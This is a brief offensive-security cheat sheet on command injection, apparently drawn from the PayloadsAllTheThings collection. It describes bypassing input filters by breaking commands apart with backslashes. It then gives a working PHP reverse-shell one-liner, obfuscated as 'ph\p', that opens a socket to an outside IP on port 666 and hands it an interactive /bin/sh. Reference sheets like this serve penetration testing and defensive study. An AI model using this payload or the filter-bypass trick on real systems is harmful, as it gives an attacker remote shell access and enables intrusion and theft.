Command Injection 💄

• Original content from PayloadsAllTheThings

Filter Bypasses

• Commands can be broken into parts by using a backslash (\):

What to do after obtaining one command injection?

• Now you have to conveniently encode a web shell as the ones located in Reverse shells 👾
  • Example using backslash (\):

ph\p -r '$sock=fsockopen("10.11.74.136",666);exec("/bin/sh -i <&3 >&3 2>&3");'